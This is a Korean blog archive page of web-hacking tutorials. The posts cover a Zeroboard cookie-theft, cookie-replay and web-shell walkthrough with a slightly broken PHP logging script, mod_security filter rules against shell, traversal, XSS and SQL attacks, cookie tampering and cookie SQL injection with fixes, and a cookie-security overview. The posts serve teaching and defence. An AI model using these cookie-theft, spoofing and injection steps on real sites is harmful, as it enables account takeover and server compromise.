http://beist.org/echo.php?insu=beist 이런 식으로 페이지를 요청하면 echo.php
에서는

hello beist

라는 문자열을 되돌려준다.

쿠키를 빼오는 스크립트인 test.php 의 인수의 이름으로 cook 을 주었고 그 값에는
현재 웹브라우저의 cookie 값이 담겨 있는 document.cookie 를 지정하여 주었다.
zeroboard 에서 admin 에게 담기는 cookie 는 다음과 같은 값이다.

zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

(zetyxboard_password 의 값은 임의로 설정한 값이다.)

이제 test.php 에서는 넘어온 인수를 처리해야 한다. 예를 들어 넘어온 쿠키값을
서버에 저장하는 방법등을 사용해야 한다.

test.php

<?
$fp=fopen("/tmp/zerohack", "a++");
fputs(" 제로보드 쿠키값 $cook\n");
?>

간단한 스크립트이다. test.php 는 /tmp/zerohack.txt 을 열어서 넘어온 인수값인
$cook 을 집어넣는다.

넘어온 쿠키값이 만약

zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

라고 하면 /tmp/zerohack.txt 에는

제로보드 쿠키값 zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

이 담기게 될것이다.

이제 넘어온 쿠키값을 이용하여 admin 페이지에 직접 Cookie 를 보내 접속을 하는
방법을 알아보자.

여기서는 telnet 을 이용하겠다. telnet 으로 상대방의 웹서버에 접속을 한다.
(보통 웹서버는 80 번 포트를 쓴다.)

1 telnet targetip 80
2 Trying targetip ...
3 Connected to targetip.
4 get
http://targetip/zboard/admin_setup.php HTTP/1.0
5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

어쩌고.. 저쩌고..
.................
.................

(위에서 1, 4, 5 번 라인은 직접 입력해야 하는 부분이다.)

설명을 하자면 1 번 라인은 targetip 의 80 번 포트로 연결을 시도하겠다는
의미이고 4 번 라인은 target 의 /zboard/admin_setup.php 라는 파일을 열겠다는
의미다. 그리고 5 번 라인은 zetyxboard_userid 와 zetyxboard_password 를
쿠키로 보내겠다는 의미다.

그러면 admin_setup.php 에서는 admin 인증을 할 것이다. 만약 password 가 맞다면
해커는 무사히 통과를 하고 admin_setup.php 를 볼 수 있을 것이다.

위에서 설명한 header 나 footer 에 test.txt 라는 파일을 지정하려면 어떻게
해야하는지 알아보자.

1 telnet targetip 80
2 Trying targetip ...
3 Connected to targetip.
4 get
http://targetip/zboard/admin_setup.php?no=3&exec=view_board&
exec2=modify_ok&page=1&group_no=1&name=haha&skinname=zero_cyan&
only_board=1&header_url=/var/www/html/zboard/data/test.txt&use_html=1&
memo_num=20&cut_length=0&bg_color=white&table_width=95&page_num=10&
header=<div%20align=center>&footer=</div> HTTP/1.0
5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

4 번 라인만 설명하겠다. admin_setup.php 의 인수로 여러개가 들어갔다.
주요 인수를 말하자면 exec2 와 no, 그리고 header_url 이다. no 는 게시판의
번호를 뜻한다. (게시판이 여러개 있을때 각각의 고유번호가 있다.)
exec2 는 admin_setup.php 페이지를 어떤 mode 로 열 것인지 선택하는 것이다.
여기서는 modify_ok mode 로 열었다. 가장 중요한 header_url 은 header
file 로 어떤 것을 지정할 것인지 선택하는 부분이다. 여기서 지정한 header
file 은 /var/www/html/zboard/data/test.txt 이다. 이제 include 하였으니
zboard.php 를 열때 test.txt 스크립트가 작동이 되면서 imnotj.php 라는
파일이 생성이 될 것이다.

이제 해커는 imnotj.php 파일을 통해서 서버에 특정 명령을 실행시킬 수 있다.

ex)

http://targetip/zboard/data/imnotj.php?cmd=whoami
결과 = nobody

이상이 zeroboard 에서 쿠키 스니핑, 쿠키 스푸핑, 잘못된 알고리즘을 이용한
공격 방법이다.

해결책을 알아보자.

쿠키 스니핑

먼저 Cookie Sniffing 에 대한 대책을 알아보자. Cookie Sniffing 은 Cracker
가 TAG 를 쓸수 있는 환경하에서 이루어진다. Cookie 는 Web Browser 에 담기게
되는데 Cookie 를 감출 수도 없는 노릇이고 Cookie 사용을 불가피하게 해야하는
경우의 대처법은 사용자가 TAG를 쓸 수 없도록 해야한다.

거의 모든 TAG 의 시작은 < 로부터 시작한다. 그래서 <를 없애거나 < 문자로
치환시키는 방법이 좋다.

eregi_replace("<", "<", $comment);

이런 식으로 $comment 의 내용중에 < 가 존재한다면 < 로 바꾸게 끔 만들어
주었다.

쿠키 스푸핑

Cookie Spoofing 에 대한 대책을 알아보자. Cracker 가 Admin 의 Cookie를 가져와서
Cookie Spoofing을 이용해 Admin Menu 에 접근하게 된다. 첫 번째로 Cookie를
도둑맞지 않기 위해 Cookie Sniffing을 막는 것이 중요하지만 Cookie를 도둑맞았을때의
경우도 대비해야 할 것이다.

필자는 이에 대한 대비로 Cookie 만을 쓰는 것이 아니라 Cookie + Session 의 조합을
사용하길 바란다. 하지만 Cookie 만을 쓰려고 할때의 필자가 생각하는 대응책을 설명
하겠다.

위의 Zeroboard 의 경우에서 보면 현재 접속되어 있는지 확인하는 부분이 있다.
now_table 에 해당하는 ID 가 있으면 통과하는 것이고 없으면 통과를 못하는 것인데
table 의 구조를 약간 변형하여 IP 도 담는 것이다.

예를 들어 $userip 라는 변수를 선언하고 이 변수는 사용자로부터 입력을 받지
않고 PHP 환경변수인 $REMOTE_ADDR을 이용하는 것이다. 이렇게 하면 cracker 가
admin_setup.php?userip=속일IP 이런식으로 접근을 해와도 서버에서는 $REMOTE_ADDR
로 체크를 하기 때문에 피할 수 없게 된다.

여기서는 간단하게 소스를 만들어보겠다.

$userip=$REMOTE_ADDR;
$check=mysql_fetch_array(mysql_query("select count(*) from $now_table where
user_id='$cookie_userid' and userip='$userip'"));

하지만 이 방법에도 약간의 취약성은 존재한다. Admin 이 NAT 같은 환경하에서
접근하였을때 그 안에 있는 computer 들도 외부로 나갈땐 같은 IP 이기 때문에 Cracker
가 NAT 내부에 접근하였을 경우에 위의 인증을 회피할수도 있을 것이다.

그렇지만 위의 방법으로 체크를 한다면 Cracker 가 Hacking 하는데 훨씬 더 어려움과
수고를 하게 할 수 있다.

잘못된 알고리즘

여기서 말하는 잘못된 알고리즘은 lib.php에서 member_info 함수이다. $member 로
return 할때 없는 값일 경우 0 이 되어 trace.php 같은 file을 실행 할 수 있는 것인데
이에 대한 해결법으로는 now_table에서 해결하는 방법이 더 좋지만 간단하게 하려면
다음과 같이 하자.

$member=mysql_fetch_array(mysql_query("select * from $member_table where
user_id='$cookie_userid' and password='$cookie_password'"));
if(!$member)
{
echo "죄송합니다. 당신의 Cookie 에 맞는 Data 가 없군요.“;
exit;
}

Web CGI 든 일반 어플리케이션 프로그램이든 마찬가지이지만 잘못된 알고리즘
하나로 인해 Server 에 치명적인 Security Hole을 만들 수 있다는 것을 기억하자.

And

토마토 님께서 3탄까지 올려서 뒤부분 올립니다. ^^*

|
이전에는 주로 특정 데몬의 취약성 등 이른바 시스템의 취약성을 이용해 각종 인증을 우회함으로써 접속하거나 상위 권한을 획득했지만, 최근 1~2년 사이에는 다른 양상을 보이고 있다. 즉, 웹 서버 내 설정상의 오류나 웹 애플리케이션의 취약성을 이용한 소위 ‘웹 해킹’을 통해 웹 서버의 실행 권한을 획득하는 경우가 많아지고 있다는 것이다.


이는 최근 sendmail이나 ssh 등 전통적으로 취약했던 애플리케이션에서 그다지 심각한 취약성이 나타나지 않으면서 상대적으로 취약성이 많이 공개된 웹 해킹 쪽으로 관심을 돌리고 있기 때문이다. 실제로 웹 해킹을 이용할 경우 80번 포트를 통해 접속하므로 정상적인 웹 접속과 구분이 잘 되지 않아 로그도 남지 않고, 설사 남는다해도 찾기가 어려운 것이 사실이다. 또한 파이어월이 설치된 환경이라도 웹은 항상 열려있으므로 제한 없이 공격 시도를 할 수 있다는 점도 공격자 입장에서는 큰 이점이다.


특히 국내에서는 제로보드나 technote 등 각종 게시판 프로그램의 사용률이 매우 높아 한번 취약성이 공개되면 그 피해는 매우 크다. 특히 웹 해킹을 이용할 경우 전통적인 방식처럼 IP를 바꿔가면서 무작위로 스캔을 하는 것이 아니라 구글 등의 검색 엔진을 이용해 직접 공격을 하는 양상을 보이고 있다.


이런 웹  해킹의 증가에 대해 여러 대응 방법이 논의되고 있다. 물론 고가의 웹 보안 솔루션을 설치하는 것도 좋겠지만 자유롭게 사용할 수 있는 대표적인 웹 서버 보안 모듈인 modsecurity(www.modesecurity)를 활용하는 방법도 추천할 만 하다. 특히 오랜 개발 과정을 통해 현재에는 상당 부분 기능이 안정화돼 현재 운영중인 서비스에 적용해도 무난할 것이다.



modsecurity는 아파치 웹 서버의 모듈 형태로 작동하는데, DSO 방식을 이용할 수도 있고 정적(Static)으로 바이너리에 포함하도록 할 수 있다. 여기에서는 후자의 방식을 이용해 설치하도록 하겠다.


먼저 홈페이지에서 소스 파일을 다운로드받아 압축을 해제하고, 모듈파일인 mod_security.c 파일을 아파치의 소스내 모듈 디렉토리인 src/modules/extra/ 디렉토리에 복사한다.
그리고 다음과 같이 modsecurity를 포함하도록 아파치를 재설정하면 된다.



[root@www apache_1.3.xx]# ./configure --prefix=/usr/local
     --activate-module=src/modules/php4/libphp4.a
     --activate-module=src/modules/extra/mod_security --enable-module=security



이제 컴파일한 후 다음과 같이 재설치하면 모든 작업이 끝난다.



[root@www apache_1.3.xx]# make; make install



modsecurity는 많은 지시자(directive)를 제공해 웹 서버 관리자가 원하는 기능을 설정하거나 제어할 수 있는데, 바로 적용해 사용할 수 있도록 ‘www.modsecurity.org/documentation/quick-examples.html’에서 설정 예를 제공하고 있으니 참고하기 바란다.


modsecurity는 아파치 설정 파일인 httpd.conf에서 다음과 같이 <IfModule        mod_security.c>와 </IfModule> 사이에 지정하면 된다.



<IfModule mod_security.c>
SecFilterEngine On
SecFilterScanPOST On
.........
...중략...
</IfModule>

몇 가지 중요한 지시자에 대해 구체적으로 확인해 보도록 하자. 자세한 설명은 반드시 매뉴얼을 참고하기 바란다.


우선 ‘SecFilterEngine On’은 mod_security의 필터링 기능을 사용할 것인지 여부를 정의하는 것이다. modsecurity 기능을 사용할 것이므로 당연히 On을 지정하면 된다.


‘SecFilterScanPOST On’은 POST 메쏘드로 전달되는 페이로드를 체크(스캔)할 것인지 여부를 지정한다. HTTP는 여러 메쏘드를 제공하는데, GET은 일반적인 브라우징과 같이 주로 서버의 데이터를 읽을 때 사용되고, POST는 파일을 업로드하거나 게시판에 글을 쓰는 등 데이터를 서버에 보낼때 사용된다. 서버에 전달되는 데이터에 대해서도 체크해야 하므로 On을 설정한다.


참고로 GET 메소드는 “변수=값&변수=값&...”의 형식으로 Request Header의 HTTP resource ID를 지정하는 곳에 CGI 프로그램 이름과 함께 연이어 데이터를 전달하는 방식이며, POST 메쏘드는 Resouce ID 필드에 CGI 프로그램 이름만 주고 데이터는 message body 부분에 전달하는 방식이다.


SecFilterDefaultAction은 다음과 같이 지정할 필터에 매칭되는 요청이 있을 경우 어떻게 대응할 것인지에 대한 기본 설정이다. ‘SecFilterDefaultAction “deny,log,status:404”’과 같은 설정의 경우는 요청을 차단(deny) 후 404 에러를 넘겨주고(status:404) 로그(log)를 남기게 된다.
SecFilterDefualtAction에서 제공되는 설정(action)에는 다음과 같은 것이 있다.



pass : 필터링하지 않고 통과하도록 한다.
       예)SecFilter KEYWORD “pass,log”
deny : 필터링에 매칭될 경우 요청을 거부한다. 특별한 상태(status)를 지정하지 않으면 기본적으로 500 error를 낸다.
status : 요청이 거부됐을 경우 제공되는 HTTP 상태 코드를 지정한다.
        예)SecFilter KEYWORD “status:404”
redirect : 필터링에 매칭될 경우 특정 URL로 리다이렉트할 수 있다.
         예)SecFilter KEYWORD “redirect:http://www.abc.co.kr”
exec :  필터링에 매칭될 경우 지정한 명령어 또는 cgi를 실행하도록 한다.
         예)SecFilter KEYWORD “exec:/home/report/report-attack.pl”
log : 필터링에 매칭될 경우 apache의 에러 로그에 남기도록 한다.
nolog :  에러 로그를 남기지 않도록 한다.



SecFilterDebugLog logs/modsec_debug_log
SecFilterDebugLevel 0



이와 같은 설정은 요청이 들어올 때마다 로그를 남길 것인지 설정하는 것이다. 정상적인 로그는 남길  필요가 없으므로 여기에서는 남기지 않도록 0으로 설정한다.



SecFilter KEYWORD



mod_security 의 핵심기능으로서 서버로 들어오는 요청에 대해 특정한 문자열을 포함할 경우 필터링하도록 하는 것이다. GET일 경우 요청의 첫줄만 체크하며, SecFilterScanPOST on인 경우 POST는 메시지 부분까지 체크한다.


만약 ‘SecFilter /bin/sh’와 같이 지정하면 셸 명령어를 실행하려는 시도를 필터링하는데, 이와 같이 경로를 지정할 경우 /bin/.sh와 같이 IDS 등의 필터를 속이기 위한 시도까지 탐지해 필터링할 수 있다.



SecFilterSelective THE_REQUEST "/tmp"



SecFilter가 단순한 매칭을 제공한다면 SecFilterSelective는 더욱 다양한 매칭을 제공하는데, 이와 같은 경우 URL request에 /tmp라는 문자열이 보이면 필터링한다. 물론 이외에 REMOTE_USER나 REMOTE_ADDR 등 많은 변수를 이용할 수 있다.




SecAuditEngine On
SecAuditLog logs/audit_log



기본적으로 제공하는 아파치 로그는 그다지 많은 정보를 제공하지 않는다. 따라서 이같이 설정할 경우 필터링에 매칭되는 요청에 대해서 logs/audit_log 파일에 상세한 정보를 제공하도록 한다. 다음과 같이 미리 설정된 필터에 따라 웹을 통해 ‘/etc/passwd’에 대한 요청이 필터링돼 audit_log에 남은 것을 보여주고 있다.



Request: 202.69.81.170 - - [Fri Aug 29 15:37:00 2005] "GET /................../etc/passwd HTTP/1.0" 500 600
Handler: (null)
Error: mod_security: Access denied with code 500. Pattern match "/etc/passwd" at THE_REQUEST.
----------------------------------------
GET /................../etc/passwd HTTP/1.0
Connection: Keep-Alive
Content-Length: 0
Host: cofw
User-Agent: Mozilla/4.75 (Nikto/1.30 )
mod_security-message: Access denied with code 500. Pattern match "/etc/passwd" at THE_REQUEST.
mod_security-action: 500



이외 보안문제를 해결하기 위한 몇 가지 권장 설정이 있는데, 각각 다음과 같다.



SecFilter "../"



만약 요청중 ‘../’ 이 포함돼 있다면 이는 상위 디렉토리에 접근하기 위한 시도임을 알 수 있는데, 정상적인 웹 접속과 같은 상황에서는 불필요하며, 주로 시스템 명령어를 실행하기 위한 목적으로 사용되므로 필터링하는 것이 좋다.



SecFilter "<[[:space:]]*script"
SecFilter "<(.|n)+>"  



XSS(Cross site scripting) 공격에 대비하기 위한 설정으로 XSS 공격은 공격자가 HTML이나 자바 스크립트 등을 웹 페이지에 몰래 삽입해 다른 사용자가 실행해 쿠키 등의 정보를 획득하는 것을 말한다.



SecFilter "delete[[:space:]]+from"
SecFilter "insert[[:space:]]+into"
SecFilter "select.+from"



SQL Injection 등 SQL과 관련된 공격을 차단할 때 사용한다. 그러나 잘못 사용했을 경우에는 정상적인 SQL 질의도 필터링되므로 적용 시 주의해야 한다.

'Hacking > web' 카테고리의 다른 글

인젝션 원리 큰내용은 없지만 도움되실거 같아서 올림니다  (0) 2009.01.12
쿠키해킹 개념  (0) 2009.01.12
Web Hacking 4탄 쿠키취약점  (0) 2009.01.12
[쿠키의 모든 것]  (0) 2009.01.12
[웹 모의해킹법 1-4]  (0) 2009.01.12
And

Web Hacking 4탄 쿠키취약점

|
토마토 님께서 3탄까지 올려서 뒤부분 올립니다. ^^*

-----------------------------------------------------------------------------------------

말도많고 탈도많은 쿠키!! 어떻게 사용하면 잘사용 하는걸까요?

앞으로 나오는 no_document.cookie등은 자동으로 "no_"앞에 가 붙습니다

Unicorn3에서 보안상 필터링하게 되어있기 때문입니다 앞에 "no_"가 없는것으로 간주하시면 됩니다


쿠키취약점

쿠키로 인증하는 사이트에 접속하여 로그인한 후 쿠키값 확인을 해봅니다

javascript:alert(no_document.cookie)


로그인 하지 않은 상태라면 다음과 같이 세션 아이디만 나오게 되며



로그인 한 상태라면 다음과 같이 쿠키이름과 쿠키값을 쌍으로 정보가 출력됩니다




관리자 아이디가 goodbug 라고 가정하고 이 아이디로 조작하기 위해서는 다음과 같이 입력합니다

javascript:a=prompt(no_document.cookie,"");alert(no_document.cookie=a)

그럼 프롬프트창이 하나 나타나며 이 부분에 다음과 같이 입력합니다



어떤 쿠키이름이 아이디를 나타내는 것일까요?

몇가지 없으니 가장 유력한 이름부터 하나씩 해보면 됩니다

UID=goodbug


다시 javascript:alert(no_document.cookie) 를 통해 쿠키값을 확인합니다


UID가 goodbug로 변경이 되었습니다

즉 내계정을 통해 goodbug로 로그인한것과 동일한 효과를 가져왔습니다!!

만약 쿠키로만 인증하는 방식이라면 타계정의 접속이나 관리자 화면으로 쉽게 들어갈 수 있습니다



 쿠키를 이용한 SQL Injection

쿠키를 이용하여 일반 로그인 화면이나 관리자 화면을 통화할 수 있습니다

SQL Injection이 어느정도 알려졌기 때문에 로그인 폼으로 부터 넘어온 아이디나 비밀번호 정보들을

일정 값들로 치환하는 경우를 볼 수 있습니다

즉 '나 ", -, \ #등의 SQL Injection에 활용되는 문자들을 무력화 시키곤 합니다

하지만 이역시 쿠키 SQL Injection을 통해 간단히 통과할 수 있습니다


마찬가지 방법으로 자신의 계정으로 로그인 하여 쿠키를 생성 한 후 다음과 같이 값을 변경합니다

UID=goodbug' or 1=1 --

관리자 화면은 화면마다 아이디를 이용해 인증을 할것입니다

하지만 이 관리자 아이디를 쿠키로 읽어온다면 아마 많은 허점이 생길겁니다

보통 쿠키로 부터 읽어온 값은 '나 --등은 체크하지 않죠

그래서 인증 관련된 부분은 항상 "특정문자를 치환+Statement" 보다는 "PreparedStatement"를 사용해야 합니다



 쿠키취약점 보안 및 결론

 -. 쿠키에 값을 구울때는 그 값을 "암호화" 하여 저장하고, 다시 읽어올때는 "역암호화"하여 사용합니다

 -. 로그인시에 IP도 쿠키에 같이 구워버리고, 데이터베이스에도 저장하며, 항상 실제 아이피와 비교하여 사용합니다

 -. 쿠키는 웹서버가 클라이언트에 남겨놓은 정보입니다

     그래서 쿠키는 클라이언트가 마음대로 조작하는것이 가능하기때문에 서버는 어떤일이 일어나는지 검사해야 한다는 것입니다


ps. 대형사이트에서는 IDS에 걸릴수 있으니 주의하세요


=============================================

본문서는 자유롭게 배포/복사 할수 있지만

이문서의 저자에 대한 언급을 삭제하시면 안됩니다

저자 : GoodBug (unicorn@jakartaproject.com)

최초 : http://www.jakartaproject.com


'Hacking > web' 카테고리의 다른 글

쿠키해킹 개념  (0) 2009.01.12
토마토 님께서 3탄까지 올려서 뒤부분 올립니다. ^^*  (0) 2009.01.12
[쿠키의 모든 것]  (0) 2009.01.12
[웹 모의해킹법 1-4]  (0) 2009.01.12
IP Fragmentation and Teardrop Attack  (0) 2009.01.12
And

[쿠키의 모든 것]

|

쿠키의 취약성 및 요구되는 보안성

1.쿠키의 개요

(1)쿠키란?
웹 서비스는 기본적으로 한번 지나친 페이지의 상태를 기억하지를 못한다.(HTTP is Stateless Protocol)
 이 말은 사용자가 사이트에 접속할 때 마다 새로운 세션을 만들어 전에 수행했던 동일한 작업을 수행해야 한다는 말이며, 세션에 대한 정보를 유지하면, 수행하지 않아도 되는 작업을 중복 수행하도록 하여 사용자의 불편을 가중시키는 일을 초래한다.

이를 극복하기 위해서 웹 서버와 사용자(client)는 쿠키라는 메커니즘을 사용하여 세션 연결에 필요한 데이터를 유지시킨다. 즉, 쿠키는 "HTTP 사용 시, 세션에 대한 정보 공유를 위하여 웹 서버와 사용자간 데이터를 주고 받는 메커니즘" 이라고 표현할 수 있다. 이러한 쿠키를 이용하여 사용자는 웹 브라우저에 이전 페이지 접속 정보를 저장했다가 다음 접속 시 그 정보를 재 사용하여 좀더 편리한 웹 서비스를 받을 수 있다.


또한, 쿠키를 웹 서버에 인터넷 사용자가 방문할 때 그 사용자의 하드디스크에 기록되는 짤막한 정보라고 표현하기도 한다. 즉, 쿠키는 웹사이트에서 사용자의 하드디스크에 집어넣는 특별한 텍스트 파일로, 웹사이트와 사용자의 컴퓨터를 매개해주는 정보를 담고 있는 소량의 파일(4kB 이하의)이 보내진다. 이 모습이 과자를 먹을 때 항상 남는 과자 부스러기와 유사하다고 하여 붙여진 이름이다.


(2)쿠키의 필요성
A.웹 서버와 사용자 매개기능
쿠키에는 기본적으로 개인 ID와 비밀번호, 방문한 사이트 등의 정보가 담겨 사용자 PC 하드디스크에 저장된다. 이 정보로 사용자가 다음에 해당 사이트를 찾을 경우 웹 서버에서는 그가 누구인지, 어떤 정보를 주로 찾았는지 바로 파악할 수 있다. 즉 사용자가 어떤 제품을 구입 했는지, 어떤 분야에 관심이 많은지를 파악할 수 있어 웹사이트 운영자 측에서는 쿠키를 이용한 target 마케팅이 가능하다. 그러나 사용자 입장에서는 프라이버시를 침해의 가능성이 존재한다.


B.사용자의 불편 해소
쿠키를 사용할 경우 사용자는 웹사이트의 다른 서비스를 방문할 때마다 ID와 비밀번호를 입력할 필요가 없다. 그러나, 쿠키를 사용하지 않으면 사용자는 동일 웹사이트에서 다른 서비스 페이지를 방문할 때마다 회원 정보를 계속 입력해야 하는 불편함이 있다. 따라서, 사용자의 편리성을 고려한다면, 쿠키 사용이 불가피하다. 특히 웹 브라우저를 이용해 전자 상거래를 할 경우 많은 전자상거래 서버에서는 사용자가 쿠키를 사용하고 있다.

 

(3)쿠키의 내용
쿠키에 저장되는 정보는 웹 서버의 이름, 쿠키의 이름, 존속기간, 쿠키 값 등이다. 여기서 쿠키 값은 쿠키 프로그램의 제작자(어플리케이션 개발자) 만이 알 수 있는 값으로 사용자는 이를 알 수가 없다. 아래의 내용은 쿠키에 저장 가능한 대표적인 정보들이며, 그 내용은 쿠키 프로그램 제작자가 어떻게 설정하느냐에 따라 다를 수 있다.

  • 사용자가 그 웹사이트를 방문해서 남긴 자취(이름, 암호, 주민등록번호, 신용카드 번호 등)를 남길 수 있다.
  • 사이트를 방문하면서 둘러본 페이지, 즐겨 찾은 페이지
  • 사용자의 검색패턴
  • 배너광고

위와 같은 다양한 정보가 저장될 수 있는 점에서 쿠키를 잘 사용하면 웹 사이트 개발자는 누가 자기들 사이트를 방문했는지를 알 수 있고 어느 국가의 어떤 지역 고객이 주로 방문했는지, 고객들의 취향이 무엇인지, 얼마나 많은 사람들이 특정 서비스나 상품에 관심을 보였는지도 알 수 있다. 결국 이러한 정보를 잘 활용하여 성공적인 인터넷 비즈니스에 활용 할 수 있다.


하지만, 쿠키는 사용자의 클릭 패턴에 대한 소극적인 정보를 담을 뿐만 아니라 사용자의 중요한 개인정보(회원가입 시 입력한 정보 등)를 저장할 수 있다는 점에서 개인정보 침해에 대한 끊임없는 문제를 야기 시키고 있다.


(4)쿠키의 저장장소
쿠키 파일은 대개 자신이 사용하는 브라우저와 관련한 특정 디렉터리 밑에 저장된다. 이 경우 client의 특정 장소에 저장되며, 웹 브라우저 가동 중에만 정보를 메모리에 저장하는 방식이 있다.


①Netscape 사용자의 경우 탐색기에서 "cookies.txt" 라는 파일을 찾으면 쿠키가 저장되어 있는 위치를 찾을 수 있다.
②Microsoft internet Explorer에서는 쿠키를 하나의 텍스트 파일로 만들어 저장하고 있으며, Windows 2000의 경우에는 "Documents and Settings \jis(user계정)\cookies\"에 저장된다. (파일이름 예시:jis@empas[2].txt)

(5)쿠키의 동작원리
A.Request: 클라이언트가 서버측에 문서를 요청 한다.
B.Call: 서버는 Cookie를 검사하기위해 CGI를 호출한다.
C.Set: Cookie가 없는 경우에 CGI는 Set-Cookie 헤더를 포함한 출력을 서버에 반환한다.
D.SetCookie: Set-Cookie 헤더에 부가 헤더를 덧붙여 Body 함께 클라이언트에 전송한다
E.Save: Set-Cookie 헤더를 받을 클라이언트는 Cookie 정보(Name=Value, Expires Date, Path, Domain)를 Cookies.txt라는 파일에 저장한다.
F.Read
G.Send Cookie: Cookies.txt에 등록된 동일한 Domain의 동일한 Path를 사용자가 요청하는 경우 클라이언트는 Cookie 정보를 Cookie: 헤더를 이용해서 서버로 전송한다.
H.Call: 서버는 클라이언트로부터 받은 Cookie 정보를 환경변수(HTTP_COOKIE)에 저장하고 CGI를 호출한다.
I.HTTP_COOKIE: CGI는 HTTP_COOKIE로부터 Cookie 정보를 복원해서 서버로 전송한다.

2.쿠키의 취약성
쿠키의 알고리즘은 매우 간단하다. 최초 사용자가 웹을 통해 인증을 성공하면 서버는 세션 정보를 포함한 간단한 데이터를 생성하여 클라이언트에 보내며, 클라이언트는 자신의 PO에 쿠키 정보를 저장한다. 클라이언트는 서버에 다른 페이지 접속 시도에 앞서 서버에서 전송 받은 쿠키를 서버에 전달하여 서버가 이미 인증한 사용자임을 확인하도록 요청한다. 서버는 자신이 관리하는 정보와 비교하여 세션을 관리한다. 이와 같은 간단한 메커니즘으로 인해 쿠키 정보가 유출될 가능성은 매우 높으며, 아래와 같은 방법으로 쿠키정보 유출이 가능하며, 일반적인 대응 방안을 나타낸다.

 

쿠키 정보 획득 방법 대응 방안
1. 타인의 쿠키 정보를 추측할 수 있다. 쿠키 정보 생성시, 강력한 알고리즘 사용(예. Session ID 사용)
2. 네트워크 상에서 타인의 쿠키 정보를 볼 수 있다. (스니핑)
네트워크 경로 암호화(예, SSL, VPN 등)
3. 웹 서버상의 악의적인 Link를 통하여 타인의 쿠키 정보를 가로챌 수 있다.
1) 악의적인 Link 제거
2) 타 사이트 이동 요청 시, log out 처리(또는 요청)
4. 사용자가 자리를 비운 사이에 쿠키 정보를 복사한다.(3.5" 디스켙)
사용자 location 확인 포함
1) 사용자 고유정보
2) IP 정보
5. Admin에 의한 쿠키 정보 유출(Web server admin.)
쿠키 정보의 암호화
6. 서버간 쿠키 정보 교환 시, 내부자에 의한 쿠키 정보 유출 (스니핑)
네트워크 경로 암호화
-서버구간(SSL, VPN 등)
7. 해킹프로그램을 이용하여 쿠키 정보를 획득한다.(메일로 전송) 사용자 측면
- 메일 확인에 따른 경고메시지
8. 클라이언트에 백도어를 설치하여 쿠키를 가져온다. 사용자 측면
- PC 보안 제품 설치 권고


(1)쿠키 정보 유추에 대한 취약성
쿠키 생성시 사용되는 데이터 및 알고리즘의 단순성이 주요 취약성으로 brute force와 같은 공격으로도 유추가 어려운 알고리즘 사용과 추측이 어려운 데이터를 입력 값으로 사용하여 쿠키 값을 생성하여야 한다.

(2)네트워크 상에서의 도청에 대한 취약성
웹 서버와 사용자 간 네트워크(인터넷 등)를 통해 쿠키 정보를 교환하는 과정에서 발생 가능한 취약성으로 네트워크 스니핑으로 쿠키 정보를 빼낼수 있다. 쿠키 정보를 암호화하는 것 보다는 SSL또는 VPN등을 이용하여 네트워크 경로를 secure(안전)하게 유지하는 것이 더 좋은 방안이다.

(3)웹 서버의 의도적인 Link에 대한 취약성
웹 서버에 로그인한 상태로 같은 도메인 내의 악의적인 코드가 포함된 페이지를 방문하였을 경우 발생 가능한 취약성으로 그 대응 책은 두 가지로 나타낼 수 있다.


첫째로 홈페이지 초기 개발시 개발자의 의도적인 코드가 있는지 확인해야 하며, 운영 중에는 철저한 변경 관리 및 홈페이지의 지속적인 무결성 점검을 통해 해커에 의한 악성 코드 삽입을 통제하여야 한다.


둘째는 사용자 측면에서 주의할 사항이다. 사용자는 사용 중 타 사이트로 이동하는 것을 자제해야 한다. 해커들은 게임, 동영상 등의 자료에 악의적인 코드를 포함한 후, 사용자 방문시 자동으로 쿠키정보를 빼내도록 사이트를 구성할 수 있다.

(4)사용자가 자리를 비운 경우에 대한 취약성
사용자의 부주의로 로그인 후 자리를 비웠을 때 타인이 3.5" 디스켙등을 이용하여 쿠키 정보를 복사하여 재사용이 가능한 위험이 존재한다.

(5)서버간 사용자 정보 교환에 대한 취약성
신뢰 관계를 맺고 있는 서버간 세션 관리를 위하여 사용자 정보를 교환할 수 있으며, 이 구간(네트워크)에서 정보를 도청 할 수 있다.

(6)해킹프로그램에 대한 취약성(email)
웹 서버에 로그인한 상태로 악성 코드(JAVA 스크립트 등)가 포함된 웹 페이지 메일을 읽을 경우 메일에 포함된 스크립트와 같은 악의적인 코드가 동작하여 쿠키 정보 유출이 이루어 질 수 있다. 이 취약점은 사용자가 웹 서버 log in 후, 메일을 읽지 않으면 막을수 있으며, 사용자가 log in 후 메일 송,수신을 위해 메일 서비스 제공 사이트로 연결을 요청할 경우 강제적으로 log out 시키거나, 경고 메시지를 보여주어 사용자의 주의를 환기 시켜야 한다.

(7)클라이언트 백도어에 대한 취약성
사용자 PC에 백도어 등 악성프로그램이 깔려 있는 경우 쿠키 정보 뿐만 아니라 모든 정보를 해커에게 빼앗길 수 있다. 이 취약점은 사용자가 바이러스 백신, PC 보안 제품 등을 설치하여 스스로 관리 하여야 한다.

3.쿠키 사용의 보안 요구사항
쿠키는 토큰 기반의 인증을 지원하기 때문에 정확한 토큰을 제공하는 것이 매우 중요하며, 안전한 토큰 기반 인증을 위해서 다음과 같은 보안성이 충족되어야 한다.

◆ 쿠키의 값이 추측 불가능 해야 한다.
◆ 쿠키가 서버에서 클라이언트로 클라이언트에서 서버로 전송될 때 외부의 사용자가 쿠키의 값을 가로챌 수 없어야 한다.
◆ 쿠키가 클라이언트에 저장되어 있을 경우 이 값이 외부로 유출되지 않도록 한다 .
◆ 쿠키의 유효기간이 보안성 강도에 따라 적용되어야 한다.
◆ 쿠키 개발자와 운영자의 역할을 분리한다.
◆ 사용자는 올바른 방식으로 웹 서비스를 사용한다.
◆ 적절한 PC 보안 대책이 필요하다.

---------------------------------------------------------------------------


어떤 사이트에 들어갔는데 화면에 '처음 오셨군요! 환영합니다'와 같은 인사말이 나오거나 예전에 접속한 사이트에 로그인 하려니 ID와 비밀번호 항목이 미리 채워져 있어 신기하다 생각하셨을 경우가 있을 것입니다. 컴퓨터가 각기 다른 사람이 몇 번째 들어왔는지 알 수 있는 것은 바로 쿠키(Cookie)를 통해서입니다.

